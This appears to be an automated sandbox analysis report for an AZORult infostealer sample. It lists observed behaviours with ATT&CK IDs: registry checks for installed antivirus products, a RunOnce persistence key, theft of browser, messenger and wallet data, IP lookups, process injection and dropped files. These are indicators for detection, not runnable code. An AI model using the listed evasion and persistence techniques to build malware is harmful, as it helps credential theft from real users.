azorult | 682f4f0bb0f2742de5a6e606770f2cc365eb04e8bac84510777b3d2f3ad145b2

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Control Panel\International\Geo\Nation	setups.tmp

Loads dropped DLL 11 IoCs

pid	Process
208	setups.tmp
208	setups.tmp
208	setups.tmp
208	setups.tmp
208	setups.tmp
208	setups.tmp
208	setups.tmp
1892	rundll32.exe
5408	Setup3310.tmp
5408	Setup3310.tmp
5388	yhqt5eaxeqc.tmp

Obfuscated with Agile.Net obfuscator 1 IoCs

Detects use of the Agile.Net commercial obfuscator, which is capable of entity renaming and control flow obfuscation.

agilenet

resource	yara_rule
behavioral3/memory/10060-686-0x0000000008780000-0x00000000087A1000-memory.dmp	agile_net

Reads local data of messenger clients 2 TTPs
Infostealers often target stored data of messaging applications, which can include saved credentials and account information.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\s0idjq4qde5 = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\A2B2U0ARCL\\multitimer.exe\" 1 3.1617447942.60684c0691ccb"	multitimer.exe

Checks for any installed AV software in registry 1 TTPs 53 IoCs

Security Software Discovery

T1063

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\SOFTWARE\ESET\NOD	multitimer.exe
Key opened	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\SOFTWARE\Microsoft\Microsoft Antimalware Setup\StartMenu Microsoft Security Essentials	multitimer.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Microsoft Antimalware Setup\StartMenu Microsoft Security Essentials	multitimer.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\COMODO\CIS	multitimer.exe
Key opened	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Vba32\Loader	multitimer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\McAPExe	multitimer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\DrWebAVService	multitimer.exe
Key opened	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\SOFTWARE\KasperskyLab	multitimer.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\ESET\NOD	multitimer.exe
Key opened	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\SOFTWARE\Doctor Web\InstalledComponents	multitimer.exe
Key opened	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\IKARUS\anti.virus	multitimer.exe
Key opened	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Fortinet\FortiClient\installed	multitimer.exe
Key opened	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Bitdefender\QuickScan	multitimer.exe
Key opened	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\SOFTWARE\ClamWin\Version	multitimer.exe
Key opened	\REGISTRY\MACHINE\Software\Avira\Antivirus	multitimer.exe
Key opened	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\TrendMicro\UniClient	multitimer.exe
Key opened	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\SOFTWARE\F-Secure\Computer Security\DART	multitimer.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Doctor Web\InstalledComponents	multitimer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\avast! Antivirus	multitimer.exe
Key opened	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\BullGuard Ltd.\BullGuard\Main	multitimer.exe
Key opened	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\SOFTWARE\AVAST Software\Avast	multitimer.exe
Key opened	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\FRISK Software\F-PROT Antivirus for Windows	multitimer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\AVP18.0.0	multitimer.exe
Key opened	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\SOFTWARE\AhnLab\V3IS80	multitimer.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\ClamWin\Version	multitimer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\BavSvc	multitimer.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\AVG\AV	multitimer.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\AVG\AV	multitimer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\a2AntiMalware	multitimer.exe
Key opened	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\SOFTWARE\AVG\AV	multitimer.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Microsoft Antimalware Setup\StartMenu Microsoft Security Essentials	multitimer.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\ClamWin\Version	multitimer.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\AhnLab\V3IS80	multitimer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\McProxy	multitimer.exe
Key opened	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Sophos	multitimer.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\COMODO\CIS	multitimer.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\F-Secure\Computer Security\DART	multitimer.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\ESET\NOD	multitimer.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Doctor Web\InstalledComponents	multitimer.exe
Key opened	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Avira\Antivirus	multitimer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\QHActiveDefense	multitimer.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\AVAST Software\Avast	multitimer.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\AhnLab\V3IS80	multitimer.exe
Key opened	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\SOFTWARE\COMODO\CIS	multitimer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet\Services\MBAMProtector	multitimer.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\AVAST Software\Avast	multitimer.exe
Key opened	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\ArcaBit	multitimer.exe
Key opened	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\K7 Computing\K7TotalSecurity	multitimer.exe
Key opened	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\McAfee\DesktopProtection	multitimer.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\F-Secure\Computer Security\DART	multitimer.exe
Key opened	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Jiangmin\ComputerID	multitimer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\AntiVirService	multitimer.exe
Key opened	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\G Data\AntiVirenKit	multitimer.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Looks up external IP address via web service 13 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
601	api.ipify.org
644	ipinfo.io
719	ipinfo.io
153	ipinfo.io
266	ip-api.com
323	ipinfo.io
328	ipinfo.io
577	ipinfo.io
721	api.ipify.org
137	api.ipify.org
151	ipinfo.io
204	ip-api.com
229	api.ipify.org

Maps connected drives based on registry 3 TTPs 2 IoCs

Disk information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum	multitimer.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum\0	multitimer.exe

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 4904 set thread context of 3104	4904	svchost.exe	110
PID 4532 set thread context of 4760	4532	FBAB.tmp.exe	115
PID 4464 set thread context of 5452	4464	FD71.tmp.exe	122

Drops file in Program Files directory 3 IoCs

description	ioc	Process
File created	C:\Program Files\unins0000.dat	Full Program Features.exe
File created	C:\Program Files\unins0000.dll	Full Program Features.exe
File created	C:\Program Files\unins.vbs	Full Program Features.exe

Drops file in Windows directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Debug\ESE.TXT	MicrosoftEdge.exe
File created	C:\Windows\Microsoft.NET\Framework64\v2.0.50727\config\security.config.cch.new	multitimer.exe
File created	C:\Windows\Microsoft.NET\Framework64\v2.0.50727\config\enterprisesec.config.cch.new	multitimer.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 14 IoCs

pid	pid_target	Process	procid_target
8564	5276	WerFault.exe	153
9008	5276	WerFault.exe	153
9320	5276	WerFault.exe	153
10540	5276	WerFault.exe	153
11268	5276	WerFault.exe	153
11568	5276	WerFault.exe	153
12300	5276	WerFault.exe	153
6752	5276	WerFault.exe	153
12844	5276	WerFault.exe	153
6344	5276	WerFault.exe	153
7240	3996	WerFault.exe	144
5492	1424	WerFault.exe	352
11904	3316	WerFault.exe	353
10588	6616	WerFault.exe	485

Checks processor information in registry 2 TTPs 4 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	svchost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	svchost.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	FBAB.tmp.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	FBAB.tmp.exe

Delays execution with timeout.exe 7 IoCs

evasion

pid	Process
6200	timeout.exe
4172	timeout.exe
8180	timeout.exe
11032	timeout.exe
13156	timeout.exe
6640	timeout.exe
1512	timeout.exe

Enumerates system info in registry 2 TTPs 2 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	multitimer.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	multitimer.exe

Kills process with taskkill 11 IoCs

evasion

pid	Process
11444	taskkill.exe
4204	taskkill.exe
4724	taskkill.exe
7116	taskkill.exe
5040	taskkill.exe
5472	taskkill.exe
12296	taskkill.exe
7396	taskkill.exe
12076	taskkill.exe
12156	taskkill.exe
6592	taskkill.exe

Modifies Internet Explorer settings 1 TTPs 3 IoCs

adware spyware

Modify Registry

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\Main	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\Main	browser_broker.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\Main	MicrosoftEdgeCP.exe

Modifies data under HKEY_USERS 5 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\ActiveMovie\devenum 64-bit	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\ActiveMovie	svchost.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\ActiveMovie\devenum 64-bit\Version = "7"	svchost.exe

Modifies registry class 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Cookies	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\Main	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\IETld\LowMic	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings\Zones\3\{AEBA21FA-782A-4A90-978D-B72164 = 1a3761592352350c7a5f20172f1e1a190e2b017313371312141a152a	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = f62670c97928d701	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\CVListXMLVersionLow = "0"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\ACGStatus\ACGPolicyState = "6"	MicrosoftEdgeCP.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\CIStatus\SignaturePolicy = 06000000	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Extensible Cache	MicrosoftEdgeCP.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{X6S7Y5Y3-WINZ-VP5O-6V75-6M59ZP1Y8621}	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\LowMic	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Toolbar\WebBrowser	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ServiceUI	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Roaming\ChangeUnitGenerationNeeded = "1"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ExtensionsStore\datastore\usage\dscc_inventory\ExtensionI	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ExtensionsStore\datastore\usage	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ExtensionsStore\datastore\usage\dscc_inventory\ExtensionI = "5"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FavOrder\SyncIEFirstTimeFullScan = "1"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\VendorId = "0"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\Main\OperationalData = "1"	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\LowRegistry\DontShowMeThisDialogAgain	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modify	MicrosoftEdge.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{K2A7A3K0-ECRB-LM0G-2M91-3G19BV5P5669}\1 = "4816"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ReadingMode\SettingsVersion = "2"	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modify = 01000000737935866bbe210e018a930734500abd237ef1764c80493bd8d5485576c1a4da603b03774419a2e75e9ace2039c3f6827c4435f292cdd868760db0e12dbbe81ef46d0e761c21cff314a2e299824b8a0c5acb68016fd83989980da69b8a592a9a29b1121fc7f616667c43c8c60c09989b9fb3e732e6bf0ffe1177a63090bd07c613a6137a8ab845bc251ded97541b4531c79c85a16ea4331710e9a6d63f063b96baeb2cfedc876eb776d0a3ccaaa2e64ddc26eebdb3a570b2d2046c6b645465125422dea3b7838d24c2fb8e6382be96fb56f2632838e4fba964695d21d9c69b543aea9207e0ccbb759f40ee076990502c7e9eb69d06808d17b1b699bfb07ee6c9b3e2259caa828428c53ebaba0036df6417cb84efb4985464368d94700f9b36c675ac77eddbc5d0ffca95adfedfd10bb9e219cd10654e9228e08c3220233d526a3ce70df187b56e0ee6e53dbb6582a41bd428502dcac016dd9b54a2687b847cd78d320a6e8d72ea8a30ce83b6376748f6ba98add643108e5a23868b13a28fc1b2202fb868bf1c5e7c06f0c099e9a13e18050a123fa05caf2bc394a957dbaf12b58d4b3a8ce1b7	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\DeviceId = "0"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\CIStatus\CIPolicyState = "0"	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings	MicrosoftEdgeCP.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\ChromeMigration\MigrationTime = 6c3a3b6c55add601	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\LowRegistry\DOMStorage	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus	MicrosoftEdge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-SubSysId = "0"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Main	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings\EnableNegotiate = "1"	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\EdgeMigration\MigrationTime = 6c3a3b6c55add601	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Extensible Cache	MicrosoftEdge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TypedURLs\url1 = "https://www.facebook.com/"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\IECompatVersionHigh = "0"	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = 38012bc97928d701	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ServiceUI\IsSignedIn = "0"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-VersionLow = "0"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-DXFeatureLevel = "0"	MicrosoftEdge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:"	MicrosoftEdgeCP.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TypedURLs\url2 = "https://login.aliexpress.com/"	MicrosoftEdge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TypedURLs\url3 = "https://signin.ebay.com/ws/ebayisapi.dll"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\EdgeMigration\DatabaseComplete = "1"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\IntelliForms	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-DeviceId = "0"	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\CIStatus\SignaturePolicy = 06000000	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\CIStatus\CIPolicyState = "0"	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\OnlineHistory	MicrosoftEdge.exe
